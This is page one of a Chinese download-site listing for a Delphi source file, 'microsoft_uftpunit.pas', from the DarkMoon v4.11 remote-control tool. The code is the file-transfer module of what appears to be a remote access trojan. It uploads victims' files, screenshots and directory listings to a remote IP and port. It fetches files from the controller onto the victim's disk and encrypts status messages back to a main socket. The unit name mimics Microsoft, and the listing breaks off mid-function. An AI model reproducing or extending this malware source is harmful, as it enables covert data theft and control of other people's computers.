⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 microsoft_uftpunit.pas

📁 DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit Microsoft_Uftpunit;

interface
uses   Windows, Messages ,WinSock,Microsoft_Ucmd,Utils;
  function GetFileName (text : string):string;
  procedure Create_Server  (S_PORT : integer ;Handle : HWND);
  procedure Server_Send(Data : string);
  procedure FTP_Events( wParam,lParam: Integer);
  //procedure SetUpaWindow1 ;

  procedure Init_Winsock ();
  procedure CleanUP_winsock();

  procedure DownloadFileListen;
  procedure  DownloadFileConnect(SaveFile : string  ;Ipadress : string; port : string) ;

  procedure UploadFileListen;
  procedure UploadFileConnect(OpenFile : String;Ipadress : string; port : string) ;

 procedure UploadScreenShotFileListen(port : integer ; OpenFile: string);
   procedure UploadScreenshotConnect(OpenFile : String;Ipadress : string; PORT : string) ;
   
  procedure UploadDataConnect (Data : String;Ipadress : string; PORT : string) ;
  procedure UploadDataListen(Data : String; PORT : string) ;

  procedure ProcessFTPCMD (data : string; socket : TSocket);
  const
  WM_Server = $0400 + $1002;

var
WinClass: TWndClassA;
Inst : Integer;
Handle : HWND ;


  wsa_Data  : WSADATA;

  Server: TSocket;
  Server_Client : TSocket;


  Helper_Socket :  TSocket;

  addr : SOCKADDR_IN; // Internet address
  Caddr : SOCKADDR_IN; // Internet address
  Caddrserver : SOCKADDR_IN; // Internet address

    Caddr2 : SOCKADDR_IN; // Internet address
  Caddrserver2 : SOCKADDR_IN; // Internet address

  USER, PASS,HOST,DIR,FileDarkMoon,Data: string   ;
  nErrorStatus : integer;

      OpenFile : string;
      SaveFile : String ;
      IConnection : boolean;

     PORT : string   ;
     Abort  : Boolean = FALSE;
     ListingDIR : string;
     ListIP, ListPort : string;
     RemoteIP : string;
     RemotePort: string;
     id : cardinal;
implementation

procedure Send_List;
begin
   SendData(MainSocket,'|' + 'Working IP:' + RemoteIP);
    if  IConnection=true    then begin
   UploadDataConnect    ( LIST (ListingDIR + '*.*'), RemoteIP ,ListPort);
   end
   else
   begin
   UploadDataListen(  LIST (ListingDIR + '*.*') ,'4000') ;
   end;

 end;

  function GetFileName (text : string):string;
  var
  a,i : integer;
  begin
  a:= FindNChars(text,'\');

  for i := 1 to a  do begin
  text:=copy ( text, findchar(text,'\')+1,length(text));
  end;

  Result:=text;
  end;

procedure SendData (SOCKET : TSOCKET;Data :string);
 const
my_key = 35311;
var
TotSent, ToSend, Sent, ErrorLoop: integer;
begin
  Data :=Encrypt (data,my_key);

//Send( SOCKET, Pointer(Data)^, Length(Data), 0 );
 if Data <> '' then
 begin
 ErrorLoop:= 0;
 TotSent:= 0;
 ToSend:= Length(Data);
 repeat
 Sent:= send(SOCKET, Data[TotSent+1], (ToSend-TotSent), 0);
 if Sent = SOCKET_ERROR then
 begin
 Inc(ErrorLoop);
 if WSAGetLastError <> WSAEWOULDBLOCK then
 begin

 Exit;
 end;
 end
 else
 Inc(TotSent, Sent);
 until (TotSent >= ToSend) or (ErrorLoop > 100);
 end;

end;



procedure DownloadFileConnect(SaveFile : string  ;Ipadress : string; PORT : string) ;
 var addr : TSockAddrIn;
     addrserver : TSockAddrIn;
     BytesRead, sinsize : Integer;
       client      : TSocket;
     a          : THandle;
     Buffer     : array [ 1..2048 ] of Char;
     BytesWrite : DWORD;
     FileStatus : Boolean;
     var
  HostEnt: PHostEnt;
    begin

  Client := socket(AF_INET, SOCK_STREAM, 0);
  if (Client <> INVALID_SOCKET)   THEN BEGIN
  addr.sin_family := AF_INET;
  addr.sin_port := 0;
  addr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;

 if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
 halt;
 end;

addrserver.sin_family := AF_INET;
addrserver.sin_port :=  htons(strtoint(port));
addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));

if addrserver.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(Ipadress));
if HostEnt = nil then
begin
Exit;
end;
addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;


 if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;

   BytesWrite := 0;
    try
        a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
    except
        CloseSocket(Client );
        Exit;
    end;
    repeat BytesRead  := Recv( client, Buffer, SizeOf( Buffer ), 0 );

           FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );

    until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abort );
     senddata(Helper_Socket,'9^File Uploaded: ' +  GetFileName(SaveFile) + '^');
    CloseHandle( a );
    try CloseSocket( client );  except end;
    Abort := FALSE;
 end;

procedure UploadFileConnect (OpenFile : String;Ipadress : string; PORT : string) ;
 var addr : TSockAddrIn;
     addrserver : TSockAddrIn;
     sinsize : Integer;
     sock, client      : TSocket;
     a          : THandle;
     Archivo      : THandle;
     Buffer       : array [ 1..1024 ] of Char;
     FileStatus : Boolean;
     BytesRead    : DWord;
     Error     : Boolean;
      size : longint ;
      f   : file ;
      HostEnt: PHostEnt;
begin
  Client := socket(AF_INET, SOCK_STREAM, 0);
  if (Client <> INVALID_SOCKET)   THEN BEGIN
  addr.sin_family := AF_INET;
  addr.sin_port := 0;
  addr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;


 if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
 halt;
 end;

addrserver.sin_family := AF_INET;
addrserver.sin_port :=  htons(strtoint(port));
addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));

if addrserver.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(Ipadress));
if HostEnt = nil then
begin
Exit;
end;
addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;


 if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;


   try
        AssignFile(f, OpenFile);
             Reset(f);
             try
             size :=FileSize(f)*128 div 1024;

             finally
             CloseFile(f);
             end;

          Archivo := CreateFile( PChar( OpenFile ),
                                 GENERIC_READ,
                                 0, nil,
                                 OPEN_EXISTING,
                                 FILE_ATTRIBUTE_NORMAL, 0);
          SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
     except
          CloseSocket( sock );
          Exit;
     end;

     repeat
          Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
          Send(Client, Buffer, BytesRead, 0);

     until ( Error  ) and ( BytesRead = 0 );
      senddata(Helper_Socket,'9^File Downloaded: ' +  GetFileName(OpenFile) + '^') ;
     CloseHandle( Archivo );
     try CloseSocket( client ); except end;
     Abort := FALSE;
end;



 procedure UploadDataListen(Data : String; PORT : string) ;
//The server should send a file to the client
var  addr         : TSockAddrIn;
     sinsize      : Integer;
     sock,cliente : TSocket;
     Archivo      : THandle;
     Buffer       : array [ 1..1024 ] of Char;
     BytesRead    : DWord;
     Error     : Boolean;
  G :file of char;
   i : integer;
   c: char;
   Openfile : string;
begin

     Openfile :=pchar (Get_SysPath) + '\DataServer.txt'  ;
AssignFile (G,   Openfile);
 rewrite(G);


  for i:=1 to length(Data)   do begin
      c:= stringtochar( copy( Data,i,1) );
      write(G,c);
      end;
      closefile(G);

     addr.sin_family := AF_INET;
     addr.sin_port := htons(strtoint(PORT) );
     addr.sin_addr.S_addr := INADDR_ANY;
     //Open the socket
     sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
     if Bind(sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
        Exit;

     if Listen(sock, 1) = SOCKET_ERROR then
     begin
          try CloseSocket( Sock ); except end;
          Exit;
     end;
     //Espera una conexion
     sinsize := SizeOf( addr );
     cliente := Accept( sock, @addr, @sinsize );

     try
          Archivo := CreateFile( PChar(  Openfile ),
                                 GENERIC_READ,
                                 0, nil,
                                 OPEN_EXISTING,
                                 FILE_ATTRIBUTE_NORMAL, 0);
          SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
           // Server_Send('9^Downloading File: ' +  GetFileName(OpenFile) + '^');
     except
          CloseSocket( sock );
          Exit;
     end;
     Sleep( 150 );
     repeat
          Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
          Send( cliente, Buffer, BytesRead, 0);
     until ( Error  ) and ( BytesRead = 0 );

     CloseHandle( Archivo );
     try CloseSocket( cliente ); except end;
     try CloseSocket( sock ); except end;
     Abort := FALSE;
end;




 procedure UploadDataConnect(Data : String;Ipadress : string; PORT : string) ;
 var addr : TSockAddrIn;
     addrserver : TSockAddrIn;
     sinsize : Integer;
     sock, client      : TSocket;
     a          : THandle;
     Archivo      : THandle;
     Buffer       : array [ 1..1024 ] of Char;
     FileStatus : Boolean;
     BytesRead    : DWord;
     Error     : Boolean;
      size : longint ;
      f   : file ;
     G :file of char;
   i : integer;
   c: char;
   Openfile : string;

HostEnt: PHostEnt;
begin
     Openfile :=pchar (Get_SysPath) + '\DataServer.txt'  ;
AssignFile (G,   Openfile);
 rewrite(G);


  for i:=1 to length(Data)   do begin
      c:= stringtochar( copy( Data,i,1) );
      write(G,c);
      end;
      closefile(G);


  Client := socket(AF_INET, SOCK_STREAM, 0);
  if (Client <> INVALID_SOCKET)   THEN BEGIN
  addr.sin_family := AF_INET;
  addr.sin_port := 0;
  addr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;




 if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
 halt;
 end;


addrserver.sin_family := AF_INET;
addrserver.sin_port :=  htons(strtoint(port));
addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));

if addrserver.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(Ipadress));
if HostEnt = nil then
begin
Exit;
end;
addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;

 if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;


   try
        AssignFile(f,    Openfile );
             Reset(f);
             try
             size :=FileSize(f)*128 div 1024;

             finally
             CloseFile(f);
             end;

          Archivo := CreateFile(   pchar( Openfile),
                                 GENERIC_READ,
                                 0, nil,
                                 OPEN_EXISTING,
                                 FILE_ATTRIBUTE_NORMAL, 0);
          SetFilePointer( Archivo, 0, nil, FILE_BEGIN );
     except
          CloseSocket( sock );
          Exit;
     end;

     repeat
          Error := ReadFile(Archivo, Buffer, SizeOf( Buffer ), BytesRead, nil);
          Send(Client, Buffer, BytesRead, 0);

     until ( Error  ) and ( BytesRead = 0 );

     CloseHandle( Archivo );
     try CloseSocket( client ); except end;
     Abort:= FALSE;
end;

 procedure UploadScreenshotConnect(OpenFile : String;Ipadress : string; PORT : string) ;
 var addr : TSockAddrIn;
     addrserver : TSockAddrIn;
     sinsize : Integer;
     sock, client      : TSocket;
     a          : THandle;
     Archivo      : THandle;
     Buffer       : array [ 1..1024 ] of Char;
     FileStatus : Boolean;
     BytesRead    : DWord;
     Error     : Boolean;
      size : longint ;
      f   : file ;

  HostEnt: PHostEnt;
begin
  Client := socket(AF_INET, SOCK_STREAM, 0);
  if (Client <> INVALID_SOCKET)   THEN BEGIN
  addr.sin_family := AF_INET;
  addr.sin_port := 0;
  addr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;


 if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
 halt;
 end;

addrserver.sin_family := AF_INET;
addrserver.sin_port :=  htons(strtoint(port));
addrserver.sin_addr.s_addr := inet_addr(PChar(Ipadress));

if addrserver.sin_addr.s_addr = -1 then
begin
HostEnt := GetHostByName(PChar(Ipadress));
if HostEnt = nil then
begin
Exit;
end;
addrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
end;

 if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -